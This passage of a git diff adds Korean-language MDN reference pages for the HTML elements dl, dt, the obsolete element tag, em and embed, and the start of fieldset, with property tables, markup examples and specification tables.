+ <li>의미를 지닌 구획 요소: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}</li>
+ <li>구문 콘텐츠를 꾸밀 때 사용하는 {{HTMLElement("span")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dl/index.html b/files/ko/web/html/element/dl/index.html
new file mode 100644
index 0000000000..13739239ed
--- /dev/null
+++ b/files/ko/web/html/element/dl/index.html
@@ -0,0 +1,223 @@
+---
+title: <dl>
+slug: Web/HTML/Element/dl
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dl
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dl&gt;</code> 요소</strong>는 설명 목록을 나타냅니다. <code>&lt;dl&gt;</code>은 {{htmlelement("dt")}}로 표기한 용어와 {{htmlelement("dd")}} 요소로 표기한 설명 그룹의 목록을 감싸서 설명 목록을 생성합니다. 주로 용어사전 구현이나 메타데이터(키-값 쌍 목록)를 표시할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dl.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>. <code>&lt;dl&gt;</code>의 자식 중 이름-값 그룹이 있으면 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>
+    <p>하나 이상의 {{htmlelement("dt")}} 요소와 하나 이상의 {{htmlelement("dd")}} 요소로 구성한 그룹 0개 이상. 선택적으로 {{htmlelement("script")}}와 {{htmlelement("template")}}을 혼합 가능.<br>
+     또는, 하나 이상의 {{htmlelement("div")}}. 선택적으로 {{htmlelement("script")}}, {{htmlelement("template")}} 혼합 가능.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="하나의_용어와_하나의_정의">하나의 용어와 하나의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    Mozilla 재단과 수 백명의
+    자원봉사자가 개발한 무료
+    오픈소스 크로스 플랫폼
+    그래픽 웹 브라우저.
+  &lt;/dd&gt;
+
+  &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("하나의_용어와_하나의_정의")}}</p>
+
+<h3 id="여러_개의_용어와_하나의_정의">여러 개의 용어와 하나의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dt&gt;Mozilla Firefox&lt;/dt&gt;
+  &lt;dt&gt;Fx&lt;/dt&gt;
+  &lt;dd&gt;
+    Mozilla 재단과 수 백명의
+    자원봉사자가 개발한 무료
+    오픈소스 크로스 플랫폼
+    그래픽 웹 브라우저.
+  &lt;/dd&gt;
+
+  &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("여러_개의_용어와_하나의_정의")}}</p>
+
+<h3 id="하나의_용어와_여러_개의_정의">하나의 용어와 여러 개의 정의</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Firefox&lt;/dt&gt;
+  &lt;dd&gt;
+    Mozilla 재단과 수 백명의
+    자원봉사자가 개발한 무료
+    오픈소스 크로스 플랫폼
+    그래픽 웹 브라우저.
+  &lt;/dd&gt;
+  &lt;dd&gt;
+    붉은 판다, 레서 판다, 랫서 판다,
+    혹은 "Firefox"는 초식성 포유류이다.
+    몸 길이는 애완용 고양이보다 약간
+    큰 정도인 60cm다.
+  &lt;/dd&gt;
+
+  &lt;!-- 다른 용어 및 정의 --&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>{{EmbedLiveSample("하나의_용어와_여러_개의_정의")}}</p>
+
+<h3 id="여러_개의_용어와_여러_개의_정의">여러 개의 용어와 여러 개의 정의</h3>
+
+<p>위의 예제를 결합하여 여러 용어를 여러 정의와 연결하는 것도 가능합니다.</p>
+
+<h3 id="메타데이터">메타데이터</h3>
+
+<p><code>&lt;dl&gt;</code>은 메타데이터를 키-값 쌍으로 표시할 때도 유용합니다.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Name&lt;/dt&gt;
+  &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;dt&gt;Born&lt;/dt&gt;
+  &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;dt&gt;Birthplace&lt;/dt&gt;
+  &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;dt&gt;Color&lt;/dt&gt;
+  &lt;dd&gt;Green&lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<p>팁: 아래처럼 키-값 구분자를 CSS로 지정하면 편리합니다.</p>
+
+<pre class="brush: css">dt:after {
+  content: ": ";
+}</pre>
+
+<p>{{EmbedLiveSample("메타데이터")}}</p>
+
+<h3 id="이름-값_그룹을_htmlelementdiv로_감싸기">이름-값 그룹을 {{htmlelement("div")}}로 감싸기</h3>
+
+<p>{{glossary("WHATWG")}} HTML에서는 <code>&lt;dl&gt;</code> 안 각각의 이름-값 그룹을 {{htmlelement("div")}}로 감쌀 수 있습니다. 마이크로데이터를 사용할 때, 그룹에 전역 특성을 적용할 때, 아니면 스타일을 적용할 때 유용할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Name&lt;/dt&gt;
+    &lt;dd&gt;Godzilla&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Born&lt;/dt&gt;
+    &lt;dd&gt;1952&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Birthplace&lt;/dt&gt;
+    &lt;dd&gt;Japan&lt;/dd&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;dt&gt;Color&lt;/dt&gt;
+    &lt;dd&gt;Green&lt;/dd&gt;
+  &lt;/div&gt;
+&lt;/dl&gt;
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>페이지에서 들여쓰기를 하기 위한 목적으로 <code>&lt;dl&gt;</code> (또는 {{htmlelement("ul")}}) 요소를 사용하지 마세요. 작동할 수는 있으나 좋지 않은 방법이고, 설명 목록의 원래 목적을 흐립니다.</p>
+
+<p>용어의 들여쓰기를 수정하려면 <a href="/ko/docs/Web/CSS">CSS</a> {{cssxref("margin")}} 속성을 사용하세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>각각의 스크린 리더는 <code>&lt;dl&gt;</code>을 다르게 표현합니다. iOS의 VoiceOver 등 일부 스크린 리더는 <code>&lt;dl&gt;</code>의 콘텐츠를 리스트로 표현하지 않습니다. 따라서, 각 아이템의 콘텐츠는 리스트 그룹 내 다른 항목과의 관계를 표현할 수 있는 방식으로 작성해야 합니다.</p>
+
+<ul>
+ <li><a href="https://s.codepen.io/aardrian/debug/NzGaKP">CodePen - HTML Buddies: dt &amp; dd</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dl-element', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.dl")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("dt")}} 요소</li>
+ <li>{{HTMLElement("dd")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/dt/index.html b/files/ko/web/html/element/dt/index.html
new file mode 100644
index 0000000000..0aa8c9d4d4
--- /dev/null
+++ b/files/ko/web/html/element/dt/index.html
@@ -0,0 +1,99 @@
+---
+title: <dt>
+slug: Web/HTML/Element/dt
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - Reference
+translation_of: Web/HTML/Element/dt
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;dt&gt;</code> 요소</strong>는 설명 혹은 정의 리스트에서 용어를 나타냅니다. {{htmlelement("dl")}} 요소 안에 위치해야 합니다</span>. 보통 {{htmlelement("dd")}} 요소가 뒤따르지만, 여러 개의 &lt;dt&gt; 요소를 연속해 배치하면 바로 다음 {{htmlelement("dd")}} 요소로 한꺼번에 서술할 수 있습니다.</p>
+
+<p>뒤따르는 {{htmlelement("dd")}} 요소가 <code>&lt;dt&gt;</code>로 지정한 용어의 정의와 기타 관련 글을 제공합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dt.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>. 단, {{htmlelement("header")}}, {{htmlelement("footer")}}, 구획 콘텐츠, 제목 콘텐츠 자손은 불가능합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 바로 다음 요소가 {{htmlelement("dd")}} 또는 <code>&lt;dt&gt;</code>거나, 자신이 부모의 마지막 자식이라면 닫는 태그는 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{HTMLElement("dl")}} 안의, {{htmlelement("dd")}} 혹은 다른 <code>&lt;dt&gt;</code> 앞. 또는 ({{glossary("WHATWG")}} HTML에서) {{htmlelement("dl")}} 안의 {{htmlelement("div")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{ARIARole("term")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/HTML/Element/dl#예제">&lt;dl&gt; 요소의 예제</a>를 확인하세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dt-element', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dt&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.dt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("dd")}}, {{HTMLElement("dl")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/element/index.html b/files/ko/web/html/element/element/index.html
new file mode 100644
index 0000000000..be045093a5
--- /dev/null
+++ b/files/ko/web/html/element/element/index.html
@@ -0,0 +1,57 @@
+---
+title: <element>
+slug: Web/HTML/Element/element
+translation_of: Web/HTML/Element/element
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p><span class="seoSummary">The obsolete <strong>HTML <code>&lt;element&gt;</code> element</strong> was part of the <a href="/en-US/docs/Web/Web_Components">Web Components</a> specification; it was intended to be used to define new custom DOM elements.</span> It was removed in favor of a JavaScript-driven approach for creating new custom elements.</p>
+
+<div class="warning">
+<p><strong>Note:</strong> This element has been removed from the specification. See <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">this</a> for more information from the editor of the specification.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">Transparent content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>???</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<p>The <code>&lt;element&gt;</code> element was formerly in a draft specification of <a href="http://w3c.github.io/webcomponents/spec/custom/">Custom Elements</a> but it has been removed.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.element")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>Web components: {{HTMLElement("content")}}, {{HTMLElement("shadow")}}, {{HTMLElement("slot")}}, and {{HTMLElement("template")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/em/index.html b/files/ko/web/html/element/em/index.html
new file mode 100644
index 0000000000..7043cf1ce8
--- /dev/null
+++ b/files/ko/web/html/element/em/index.html
@@ -0,0 +1,124 @@
+---
+title: '<em>: 강세 요소'
+slug: Web/HTML/Element/em
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/em
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;em&gt;</code> 요소</strong>는 텍스트의 강세를 나타냅니다. <code>&lt;em&gt;</code> 요소를 중첩하면 더 큰 강세를 뜻하게 됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/em.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;em&gt;</code> 요소는 주위 텍스트에 비해 강조된 부분을 나타냅니다. 보통 한 문장에서 단어 하나 혹은 몇 개로 제한되며, 문장의 의미에 영향을 미칠 수 있습니다.</p>
+
+<p><code>&lt;em&gt;</code>은 주로 기울임꼴을 적용해 표현합니다. 그러나 단순히 기울임꼴이 필요해서 <code>&lt;em&gt;</code>을 사용하면 안됩니다. CSS {{cssxref("font-style")}} 속성을 사용하세요. 그 외에 흔히 기울임꼴을 많이 쓰는 경우를 정리하자면 저작물(책, 연극, 음악 등등)의 제목은 {{htmlelement("cite")}}, 학명 등 과학적인 이름이나 다른 언어의 단어 등, 주변과 다른 톤을 가진 텍스트에는 {{htmlelement("i")}}를 사용하세요. 주변보다 훨씬 중요한 텍스트는 {{htmlelement("strong")}}으로 강조하면 됩니다.</p>
+
+<h3 id="&lt;i>와_&lt;em>"><code>&lt;i&gt;</code>와 <code>&lt;em&gt;</code></h3>
+
+<p>신입 개발자가 자주 혼란스러운 부분 중 하나가, 서로 다른 요소인데 비슷한 결과물을 내놓는 경우입니다. <code>&lt;em&gt;</code>과 {{htmlelement("i")}}가 그 예로서, 둘 다 글자를 기울이는데 그러면 차이가 뭘까요? 어떤 걸 써야 할까요?</p>
+
+<p>기본 설정에서 시각적 모습은 동일합니다. 그러나 의미는 다릅니다. <code>&lt;em&gt;</code>은 콘텐츠를 강조하지만, <code>&lt;i&gt;</code>는 외국어, 등장인물의 생각 등 일반적인 산문에서 벗어난 경우 사용합니다. (책이나 영화 등의 제목은 {{htmlelement("cite")}}를 사용하세요.)</p>
+
+<p>그러므로 요소 선택은 상황에 따라 달라야 하며, 순수하게 꾸밈을 위한 요소는 없습니다. 스타일은 CSS에 맡기세요.</p>
+
+<p><code>&lt;em&gt;</code>은 "Just <em>do</em> it already!"나 "We <em>had</em> to do something about it."처럼 쓸 수 있습니다. 이 글을 읽는 사람이나 소프트웨어는 기울임꼴 부분에 강세를 두고 말할 것입니다.</p>
+
+<p><code>&lt;i&gt;</code>는 "The <em>Queen Mary</em> sailed last night."처럼 사용합니다. "Queen Mary"를 강조하는 것도 아니고, 중요한 단어도 아닙니다. 다만 이 단어가 Mary라는 이름의 여왕이 아니고, <em>Queen Mary</em>라는 이름의 선박임을 나타낼 뿐입니다. "The word <em>the</em> is an article"도 좋은 예제가 되겠습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;em&gt;</code> 요소는 명시적이거나 암시적인 대조를 표현할 때 주로 사용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;
+  과거에 &lt;em&gt;block-level&lt;/em&gt;이라 불렸던
+  콘텐츠는 HTML 5부터 &lt;em&gt;flow&lt;/em&gt; 콘텐츠라고
+  말합니다.
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-em-element', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;em&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.em")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("i")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/embed/index.html b/files/ko/web/html/element/embed/index.html
new file mode 100644
index 0000000000..33268299e2
--- /dev/null
+++ b/files/ko/web/html/element/embed/index.html
@@ -0,0 +1,81 @@
+---
+title: <embed>
+slug: Web/HTML/Element/embed
+tags:
+  - HTML
+  - HTML 포함된 컨텐츠
+  - HTML5
+  - 레퍼런스
+  - 요소
+  - 웹
+translation_of: Web/HTML/Element/embed
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;embed&gt;</code> 요소</strong>는 외부 어플리케이션이나 대화형 컨텐츠와의 통합점을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/embed.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">컨텐츠 범주</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">플로우 컨텐츠</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">구문 컨텐츠</a>, 포함된 컨텐츠, 대화형 컨텐츠, palpable 컨텐츠.</li>
+ <li><dfn>허용된 컨텐츠</dfn> 없음. 이것은 {{Glossary("empty element")}}.</li>
+ <li><dfn>태그 생략</dfn> 시작 태그는 있어야 하며, 종료태그는 있어서는 안됩니다.</li>
+ <li><dfn>허용된 부모 요소</dfn> 포함된 컨텐츠를 허용하는 모든 요소</li>
+ <li><dfn>DOM 인터페이스</dfn> {{domxref("HTMLEmbedElement")}}</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>리소스의 표시될 높이 길이를 CSS 픽셀로 지정</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>포함된 리소스의 URL</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>인스턴스화할 플러그인을 고르기 위해 사용되는 MIME 타입</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>리소스의 표시될 가로 길이를 CSS 픽셀로 지정</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;embed type="video/quicktime" src="movie.mov" width="640" height="480"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-iframe-element.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.embed")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다양한 타입의 포함된 컨텐츠를 위해 사용되는 다른 요소들 {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/fieldset/index.html b/files/ko/web/html/element/fieldset/index.html
new file mode 100644
index 0000000000..951d0f385c
--- /dev/null
+++ b/files/ko/web/html/element/fieldset/index.html
@@ -0,0 +1,151 @@
+---
+title: '<fieldset>: 필드셋 요소'
+slug: Web/HTML/Element/fieldset
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/fieldset
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;fieldset&gt;</code> 요소</strong>는 웹 양식의 여러 컨트롤과 레이블({{htmlelement("label")}})을 묶을 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위의 예제에서 보듯, <code>&lt;fieldset&gt;</code> 요소는 HTML 양식 속에서 그룹을 만들 수 있으며 {{htmlelement("legend")}} 요소로 그룹의 설명을 제공할 수 있습니다. 여러 특성을 지정할 수 있는데, 그 중 중요한 것 하나는 페이지 내 {{htmlelement("form")}} 요소의 <code>id</code>를 받을 수 있는 <code>form</code> 특성으로, <code>&lt;form&gt;</code> 바깥의 <code>&lt;fieldset&gt;</code> 요소를 해당 양식에 포함해야 할 때 사용합니다. 다른 하나는 <code>disabled</code>로, <code>&lt;fieldset&gt;</code>의 모든 콘텐츠를 한 번에 비활성화할 수 있습니다.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우, 모든 자손 컨트롤을 비활성화합니다. 비활성 컨트롤은 편집할 수 없고, {{htmlelement("form")}}을 제출할 때 데이터에 포함되지 않습니다. 마우스 클릭, 포커스 등 브라우저 이벤트도 모두 받지 않습니다. 브라우저는 비활성 컨트롤을 주로 회색으로 표시합니다. 단, {{htmlelement("legend")}} 안의 양식 요소는 비활성 상태로 전환되지 않습니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;fieldset&gt;</code> 요소와 연결할 {{htmlelement("form")}} 요소("양식 소유자")의 {{htmlattrxref("id")}}. <code>&lt;fieldset&gt;</code>이 해당 <code>&lt;form&gt;</code> 안에 위치하지 않아도 연결할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>그룹과 연관지을 이름.
+ <div class="note"><strong>참고:</strong> <code>&lt;fieldset&gt;</code>에 대한 설명은 자신이 포함한 첫 번째 {{htmlelement("legend")}} 요소가 담당합니다.</div>
+ </dd>
+</dl>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;fieldset&gt;</code>에 스타일을 적용하기 전에 고려해야 하는 부분이 있습니다.</p>
+
